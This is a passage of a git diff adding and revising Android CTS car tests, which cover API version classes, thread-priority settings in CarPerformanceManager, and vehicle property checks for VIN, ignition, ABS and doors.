+import android.car.test.AbstractExpectableTestCase;
+import android.car.test.ApiCheckerRule;
+
+import org.junit.Rule;
+
+/**
+ * Base class for tests that don't need to connect to a {@code android.car.Car} object.
+ *
+ * <p>Typically used to test POJO-like (Plain-Old Java Objects) classes.
+ */
+abstract class AbstractCarLessTestCase extends AbstractExpectableTestCase {
+
+ @Rule
+ public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+}
diff --git a/tests/tests/car/src/android/car/cts/ApiVersionTest.java b/tests/tests/car/src/android/car/cts/ApiVersionTest.java
new file mode 100644
index 0000000..603ad27
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/ApiVersionTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertThrows;
+
+import android.car.ApiVersion;
+import android.car.CarVersion;
+import android.car.PlatformVersion;
+
+//TODO(b/236153976): add when supported
+//import com.google.common.testing.EqualsTester;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.Collection;
+
+@RunWith(Parameterized.class)
+public final class ApiVersionTest {
+
+ private final ApiVersionFactory<?> mFactory;
+
+ public ApiVersionTest(ApiVersionFactory<?> factory) {
+ mFactory = factory;
+ }
+
+ @Test
+ public void testGetters() {
+ ApiVersion<?> version = version(42, 108);
+
+ assertWithMessage("%s.getMajorVersion()", version)
+ .that(version.getMajorVersion()).isEqualTo(42);
+ assertWithMessage("%s.getMinorVersion()", version)
+ .that(version.getMinorVersion()).isEqualTo(108);
+ }
+
+ @Test
+ public void testGetters_majorOnlyConstructor() {
+ ApiVersion<?> version = version(42);
+
+ assertWithMessage("%s.getMajorVersion()", version)
+ .that(version.getMajorVersion()).isEqualTo(42);
+ assertWithMessage("%s.getMinorVersion()", version)
+ .that(version.getMinorVersion()).isEqualTo(0);
+ }
+
+ @Test
+ public void testToString() {
+ String string = version(42, 108).toString();
+
+ assertWithMessage("version(42, 108).toString()").that(string).contains("major=42");
+ assertWithMessage("version(42, 108).toString()").that(string).contains("minor=108");
+ assertWithMessage("version(42, 108).toString()").that(string).doesNotContain("name=");
+ }
+
+ @Test
+ public void testAtLeast_null() {
+ assertThrows(NullPointerException.class, () -> version(42, 108).isAtLeast(null));
+ }
+
+ @Test
+ @SuppressWarnings({"rawtypes", "unchecked"})
+ public void testAtLeast_major() {
+ ApiVersion version = version(42, 108);
+
+ assertWithMessage("%s.atLeast(41)", version)
+ .that(version.isAtLeast(version(41))).isTrue();
+ assertWithMessage("%s.atLeast(42)", version)
+ .that(version.isAtLeast(version(42))).isTrue();
+ assertWithMessage("%s.atLeast(43)", version)
+ .that(version.isAtLeast(version(43))).isFalse();
+ }
+
+ @Test
+ @SuppressWarnings({"rawtypes", "unchecked"})
+ public void testAtLeast_majorAndMinor() {
+ ApiVersion version = version(42, 108);
+
+ assertWithMessage("%s.atLeast(41, 109)", version)
+ .that(version.isAtLeast(version(41, 109))).isTrue();
+ assertWithMessage("%s.atLeast(42, 107)", version)
+ .that(version.isAtLeast(version(42, 107))).isTrue();
+ assertWithMessage("%s.atLeast(42, 108)", version)
+ .that(version.isAtLeast(version(42, 108))).isTrue();
+
+ assertWithMessage("%s.atLeast(42, 109)", version)
+ .that(version.isAtLeast(version(42, 109))).isFalse();
+ assertWithMessage("%s.atLeast(43, 0)", version)
+ .that(version.isAtLeast(version(43, 0))).isFalse();
+ }
+
+ // TODO(b/236153976): comment back once guava is supported
+ // (then also add check for different string but same versions)
+// @Test
+// public void testEqualsAndHashcode() {
+// new EqualsTester()
+// .addEqualityGroup(version(4, 8), version(4, 8))
+// .addEqualityGroup(version(15), version(15))
+// .addEqualityGroup(version(16), version(16, 0))
+// .addEqualityGroup(version(23, 0), version(23))
+//
+// // Make sure different subclasses are different
+// .addEqualityGroup(CarApiVersion.forMajorVersion(42),
+// CarApiVersion.forMajorVersion(42))
+// .addEqualityGroup(PlatformApiVersion.forMajorVersion(42),
+// PlatformApiVersion.forMajorVersion(42))
+//
+// .testEquals();
+// }
+
+ @Test
+ public void testAtLeast_wrongTypes() {
+ @SuppressWarnings("rawtypes")
+ ApiVersion myObject = version(42);
+ @SuppressWarnings("rawtypes")
+ ApiVersion otherObject = mFactory.otherType(42);
+
+ assertThrows(IllegalArgumentException.class, () -> myObject.isAtLeast(otherObject));
+ assertThrows(IllegalArgumentException.class, () -> otherObject.isAtLeast(myObject));
+ }
+
+ private ApiVersion<?> version(int major, int minor) {
+ return mFactory.newApiVersion(major, minor);
+ }
+
+ private ApiVersion<?> version(int major) {
+ return mFactory.newApiVersion(major);
+ }
+
+ @Parameterized.Parameters
+ public static Collection<?> parameters() {
+ return Arrays.asList(
+ new Object[][] {
+ { new CarApiVersionFactory() },
+ { new PlatformApiVersionFactory() },
+ });
+ }
+
+ private interface ApiVersionFactory<T extends ApiVersion<T>> {
+ T newApiVersion(int majorVersion, int minorVersion);
+ T newApiVersion(int majorVersion);
+ ApiVersion<?> otherType(int majorVersion);
+ }
+
+ private static final class CarApiVersionFactory implements ApiVersionFactory<CarVersion> {
+
+ @Override
+ public CarVersion newApiVersion(int majorVersion, int minorVersion) {
+ return CarVersion.forMajorAndMinorVersions(majorVersion, minorVersion);
+ }
+
+ @Override
+ public CarVersion newApiVersion(int majorVersion) {
+ return CarVersion.forMajorVersion(majorVersion);
+ }
+
+ @Override
+ public ApiVersion<?> otherType(int majorVersion) {
+ return PlatformVersion.forMajorVersion(majorVersion);
+ }
+ }
+
+ private static final class PlatformApiVersionFactory
+ implements ApiVersionFactory<PlatformVersion> {
+
+ @Override
+ public PlatformVersion newApiVersion(int majorVersion, int minorVersion) {
+ return PlatformVersion.forMajorAndMinorVersions(majorVersion, minorVersion);
+ }
+
+ @Override
+ public PlatformVersion newApiVersion(int majorVersion) {
+ return PlatformVersion.forMajorVersion(majorVersion);
+ }
+
+ @Override
+ public ApiVersion<?> otherType(int majorVersion) {
+ return CarVersion.forMajorVersion(majorVersion);
+ }
+ }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java b/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java
new file mode 100644
index 0000000..6a11670
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.os.Process.getThreadPriority;
+import static android.os.Process.setThreadPriority;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.UiAutomation;
+import android.car.Car;
+import android.car.os.CarPerformanceManager;
+import android.car.os.ThreadPolicyWithPriority;
+import android.car.test.ApiCheckerRule;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+@SmallTest
+@AppModeFull(reason = "Instant Apps cannot get car related permissions")
+public class CarPerformanceManagerTest extends CarApiTestBase {
+
+ private UiAutomation mUiAutomation;
+ private CarPerformanceManager mCarPerformanceManager;
+ private ThreadPolicyWithPriority mOriginalPolicyWithPriority;
+
+ // TODO(b/242350638): move to super class (although it would need to call
+ // disableAnnotationsCheck()
+ @Rule
+ public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
+ private void setThreadPriorityGotThreadPriorityVerify(ThreadPolicyWithPriority p)
+ throws Exception {
+ mCarPerformanceManager.setThreadPriority(p);
+
+ ThreadPolicyWithPriority gotP = mCarPerformanceManager.getThreadPriority();
+
+ assertThat(gotP.getPolicy()).isEqualTo(p.getPolicy());
+ assertThat(gotP.getPriority()).isEqualTo(p.getPriority());
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ mUiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_MANAGE_THREAD_PRIORITY);
+
+ mCarPerformanceManager = (CarPerformanceManager) getCar().getCarManager(
+ Car.CAR_PERFORMANCE_SERVICE);
+ assertThat(mCarPerformanceManager).isNotNull();
+
+ // TODO(b/237015981): it would be cleaner to split this logic into a separate @Before method
+ // which would be annotated with:
+ // @TestApiRequirements(requiresApi="...", onApiViolation=IGNORE)
+ // But that would require a new rule to wrap the whole test class with
+ // adoptShellPermissionIdentity (otherwise there would be no guarantee that the new method
+ // would be called before the call to adoptShellPermissionIdentity)
+ if (mApiCheckerRule.isApiSupported("android.car.os.CarPerformanceManager#"
+ + "getThreadPriority")) {
+ mOriginalPolicyWithPriority = mCarPerformanceManager.getThreadPriority();
+ }
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mOriginalPolicyWithPriority != null) {
+ mCarPerformanceManager.setThreadPriority(mOriginalPolicyWithPriority);
+ }
+
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityDefault() throws Exception {
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityFIFOMinPriority() throws Exception {
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_FIFO,
+ ThreadPolicyWithPriority.PRIORITY_MIN));
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityFIFOMaxPriority() throws Exception {
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_FIFO,
+ ThreadPolicyWithPriority.PRIORITY_MAX));
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityRRMinPriority() throws Exception {
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_RR,
+ ThreadPolicyWithPriority.PRIORITY_MIN));
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityRRMaxPriority() throws Exception {
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_RR,
+ ThreadPolicyWithPriority.PRIORITY_MAX));
+ }
+
+ @Test
+ @ApiTest(apis = {
+ "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+ "android.car.os.CarPerformanceManager#getThreadPriority"})
+ public void testSetThreadPriorityDefaultKeepNiceValue() throws Exception {
+ int expectedNiceValue = 10;
+
+ // Resume the test scheduling policy to default policy.
+ mCarPerformanceManager.setThreadPriority(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+ // Set a nice value for regular scheduling policy.
+ setThreadPriority(expectedNiceValue);
+
+ // Change the scheduling policy.
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_FIFO,
+ ThreadPolicyWithPriority.PRIORITY_MIN));
+
+ // Change it back, the nice value should be resumed.
+ setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+ ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+
+ assertThat(getThreadPriority(/* tid= */ 0)).isEqualTo(expectedNiceValue);
+ }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 0c9bcc5..99e1af0 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -19,6 +19,7 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
import static org.testng.Assert.assertThrows;
import android.app.UiAutomation;
@@ -40,29 +41,34 @@
import android.car.hardware.property.CarPropertyManager.CarPropertyEventCallback;
import android.car.hardware.property.VehicleElectronicTollCollectionCardStatus;
import android.car.hardware.property.VehicleElectronicTollCollectionCardType;
+import android.content.pm.PackageManager;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.RequiresDevice;
+import android.support.v4.content.ContextCompat;
import android.test.suitebuilder.annotation.SmallTest;
import android.util.ArraySet;
import android.util.SparseArray;
import androidx.annotation.GuardedBy;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CddTest;
import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Sets;
import org.junit.Assert;
-import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
@SmallTest
@RequiresDevice
@@ -104,10 +110,47 @@
private static final ImmutableSet<Integer> SPEED_DISPLAY_UNITS =
ImmutableSet.<Integer>builder().add(VehicleUnit.METER_PER_SEC,
VehicleUnit.MILES_PER_HOUR, VehicleUnit.KILOMETERS_PER_HOUR).build();
+ private static final ImmutableSet<Integer> TURN_SIGNAL_STATES =
+ ImmutableSet.<Integer>builder().add(/*TurnSignalState.NONE=*/0,
+ /*TurnSignalState.RIGHT=*/1, /*TurnSignalState.LEFT=*/2).build();
+ private static final ImmutableSet<Integer> VEHICLE_LIGHT_STATES =
+ ImmutableSet.<Integer>builder().add(/*VehicleLightState.OFF=*/0,
+ /*VehicleLightState.ON=*/1, /*VehicleLightState.DAYTIME_RUNNING=*/2).build();
+ private static final ImmutableSet<Integer> VEHICLE_LIGHT_SWITCHES =
+ ImmutableSet.<Integer>builder().add(/*VehicleLightSwitch.OFF=*/0,
+ /*VehicleLightSwitch.ON=*/1, /*VehicleLightSwitch.DAYTIME_RUNNING=*/2,
+ /*VehicleLightSwitch.AUTOMATIC=*/256).build();
+ private static final ImmutableSet<Integer> HVAC_TEMPERATURE_DISPLAY_UNITS =
+ ImmutableSet.<Integer>builder().add(VehicleUnit.CELSIUS,
+ VehicleUnit.FAHRENHEIT).build();
+ private static final ImmutableSet<Integer> SINGLE_HVAC_FAN_DIRECTIONS = ImmutableSet.of(
+ /*VehicleHvacFanDirection.FACE=*/0x1, /*VehicleHvacFanDirection.FLOOR=*/0x2,
+ /*VehicleHvacFanDirection.DEFROST=*/0x4);
+ private static final ImmutableSet<Integer> ALL_POSSIBLE_HVAC_FAN_DIRECTIONS =
+ generateAllPossibleHvacFanDirections();
+ private static final ImmutableSet<Integer> VEHICLE_SEAT_OCCUPANCY_STATES = ImmutableSet.of(
+ /*VehicleSeatOccupancyState.UNKNOWN=*/0, /*VehicleSeatOccupancyState.VACANT=*/1,
+ /*VehicleSeatOccupancyState.OCCUPIED=*/2);
+
/** contains property Ids for the properties required by CDD */
private final ArraySet<Integer> mPropertyIds = new ArraySet<>();
private CarPropertyManager mCarPropertyManager;
+ private static ImmutableSet<Integer> generateAllPossibleHvacFanDirections() {
+ ImmutableSet.Builder<Integer> allPossibleFanDirectionsBuilder = ImmutableSet.builder();
+ for (int i = 1; i <= SINGLE_HVAC_FAN_DIRECTIONS.size(); i++) {
+ allPossibleFanDirectionsBuilder.addAll(Sets.combinations(SINGLE_HVAC_FAN_DIRECTIONS,
+ i).stream().map(hvacFanDirectionCombo -> {
+ Integer possibleHvacFanDirection = 0;
+ for (Integer hvacFanDirection : hvacFanDirectionCombo) {
+ possibleHvacFanDirection |= hvacFanDirection;
+ }
+ return possibleHvacFanDirection;
+ }).collect(Collectors.toList()));
+ }
+ return allPossibleFanDirectionsBuilder.build();
+ }
+
private static void verifyWheelTickConfigArray(int supportedWheels, int wheelToVerify,
int configArrayIndex, int wheelTicksToUm) {
if ((supportedWheels & wheelToVerify) != 0) {
@@ -154,6 +197,20 @@
}
}
+ private static void adoptSystemLevelPermission(String permission, Runnable verifierRunnable) {
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(permission);
+ try {
+ assumeTrue("Unable to adopt Car Shell permission: " + permission,
+ ContextCompat.checkSelfPermission(
+ InstrumentationRegistry.getInstrumentation().getTargetContext(),
+ permission) == PackageManager.PERMISSION_GRANTED);
+ verifierRunnable.run();
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
@Before
public void setUp() throws Exception {
super.setUp();
@@ -332,6 +389,29 @@
}
@Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testInfoVinIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_IDENTIFICATION, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.INFO_VIN,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+ String.class).setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+ "INFO_VIN must be 17 characters").that(
+ (String) carPropertyValue.getValue()).hasLength(17))
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
public void testInfoMakeIfSupported() {
VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.INFO_MAKE,
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
@@ -443,14 +523,8 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer fuelDoorLocation = (Integer) carPropertyValue.getValue();
- assertWithMessage(
- "INFO_FUEL_DOOR_LOCATION must be a defined port location: "
- + fuelDoorLocation).that(
- fuelDoorLocation).isIn(PORT_LOCATION_TYPES);
- }).build().verify(mCarPropertyManager);
+ Integer.class).setPossibleCarPropertyValues(PORT_LOCATION_TYPES).build()
+ .verify(mCarPropertyManager);
}
@Test
@@ -459,14 +533,8 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer evPortLocation = (Integer) carPropertyValue.getValue();
- assertWithMessage(
- "INFO_EV_PORT_LOCATION must be a defined port location: "
- + evPortLocation).that(
- evPortLocation).isIn(PORT_LOCATION_TYPES);
- }).build().verify(mCarPropertyManager);
+ Integer.class).setPossibleCarPropertyValues(PORT_LOCATION_TYPES).build()
+ .verify(mCarPropertyManager);
}
@Test
@@ -496,21 +564,16 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer driverSeat = (Integer) carPropertyValue.getValue();
- assertWithMessage("INFO_DRIVER_SEAT must be a defined front seat location: "
- + driverSeat).that(driverSeat).isIn(
- ImmutableSet.builder().add(VehicleAreaSeat.SEAT_UNKNOWN,
- VehicleAreaSeat.SEAT_ROW_1_LEFT,
- VehicleAreaSeat.SEAT_ROW_1_CENTER,
- VehicleAreaSeat.SEAT_ROW_1_RIGHT).build());
- }).setAreaIdsVerifier(areaIds -> assertWithMessage(
+ Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+ VehicleAreaSeat.SEAT_UNKNOWN,
+ VehicleAreaSeat.SEAT_ROW_1_LEFT,
+ VehicleAreaSeat.SEAT_ROW_1_CENTER,
+ VehicleAreaSeat.SEAT_ROW_1_RIGHT))
+ .setAreaIdsVerifier(areaIds -> assertWithMessage(
"Even though INFO_DRIVER_SEAT is VEHICLE_AREA_TYPE_SEAT, it is meant to be "
+ "VEHICLE_AREA_TYPE_GLOBAL, so its AreaIds must contain a single 0").that(
- areaIds).isEqualTo(
- new int[]{VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL})).build().verify(
- mCarPropertyManager);
+ areaIds).isEqualTo(new int[]{VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL}))
+ .build().verify(mCarPropertyManager);
}
@Test
@@ -540,20 +603,11 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer electronicTollCollectionCardType =
- (Integer) carPropertyValue.getValue();
- assertWithMessage(
- "ELECTRONIC_TOLL_COLLECTION_CARD_TYPE value must be a valid "
- + "VehicleElectronicTollCollectionCardType").that(
- electronicTollCollectionCardType).isIn(ImmutableSet.builder().add(
- VehicleElectronicTollCollectionCardType.UNKNOWN,
- VehicleElectronicTollCollectionCardType.
- JP_ELECTRONIC_TOLL_COLLECTION_CARD,
- VehicleElectronicTollCollectionCardType.
- JP_ELECTRONIC_TOLL_COLLECTION_CARD_V2).build());
- }).build().verify(mCarPropertyManager);
+ Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+ VehicleElectronicTollCollectionCardType.UNKNOWN,
+ VehicleElectronicTollCollectionCardType.JP_ELECTRONIC_TOLL_COLLECTION_CARD,
+ VehicleElectronicTollCollectionCardType.JP_ELECTRONIC_TOLL_COLLECTION_CARD_V2)
+ ).build().verify(mCarPropertyManager);
}
@Test
@@ -563,22 +617,15 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer electronicTollCollectionCardStatus =
- (Integer) carPropertyValue.getValue();
- assertWithMessage(
- "ELECTRONIC_TOLL_COLLECTION_CARD_STATUS value must be a valid "
- + "VehicleElectronicTollCollectionCardStatus").that(
- electronicTollCollectionCardStatus).isIn(ImmutableSet.builder().add(
- VehicleElectronicTollCollectionCardStatus.UNKNOWN,
- VehicleElectronicTollCollectionCardStatus.
- ELECTRONIC_TOLL_COLLECTION_CARD_VALID,
- VehicleElectronicTollCollectionCardStatus.
- ELECTRONIC_TOLL_COLLECTION_CARD_INVALID,
- VehicleElectronicTollCollectionCardStatus.
- ELECTRONIC_TOLL_COLLECTION_CARD_NOT_INSERTED).build());
- }).build().verify(mCarPropertyManager);
+ Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+ VehicleElectronicTollCollectionCardStatus.UNKNOWN,
+ VehicleElectronicTollCollectionCardStatus
+ .ELECTRONIC_TOLL_COLLECTION_CARD_VALID,
+ VehicleElectronicTollCollectionCardStatus
+ .ELECTRONIC_TOLL_COLLECTION_CARD_INVALID,
+ VehicleElectronicTollCollectionCardStatus
+ .ELECTRONIC_TOLL_COLLECTION_CARD_NOT_INSERTED)
+ ).build().verify(mCarPropertyManager);
}
@Test
@@ -616,82 +663,381 @@
CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setCarPropertyValueVerifier(
- (carPropertyConfig, carPropertyValue) -> {
- Integer ignitionState = (Integer) carPropertyValue.getValue();
- assertWithMessage(
- "IGNITION_STATE must be a defined ignition state: "
- + ignitionState).that(
- ignitionState).isIn(ImmutableSet.of(VehicleIgnitionState.UNDEFINED,
- VehicleIgnitionState.LOCK, VehicleIgnitionState.OFF,
- VehicleIgnitionState.ACC, VehicleIgnitionState.ON,
- VehicleIgnitionState.START));
- }).build().verify(mCarPropertyManager);
+ Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+ VehicleIgnitionState.UNDEFINED, VehicleIgnitionState.LOCK,
+ VehicleIgnitionState.OFF, VehicleIgnitionState.ACC, VehicleIgnitionState.ON,
+ VehicleIgnitionState.START)).build().verify(mCarPropertyManager);
+ }
+
+ @Test
+ public void testAbsActiveIfSupported() {
+ adoptSystemLevelPermission(/* Car.PERMISSION_CAR_DYNAMICS_STATE = */
+ "android.car.permission.CAR_DYNAMICS_STATE", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ABS_ACTIVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testTractionControlActiveIfSupported() {
+ adoptSystemLevelPermission(/* Car.PERMISSION_CAR_DYNAMICS_STATE = */
+ "android.car.permission.CAR_DYNAMICS_STATE", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TRACTION_CONTROL_ACTIVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testDoorPosIfSupported() {
+ adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+ "android.car.permission.CONTROL_CAR_DOORS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().requireMinValuesToBeZero().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testDoorMoveIfSupported() {
+ adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+ "android.car.permission.CONTROL_CAR_DOORS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testDoorLockIfSupported() {
+ adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+ "android.car.permission.CONTROL_CAR_DOORS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_LOCK,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
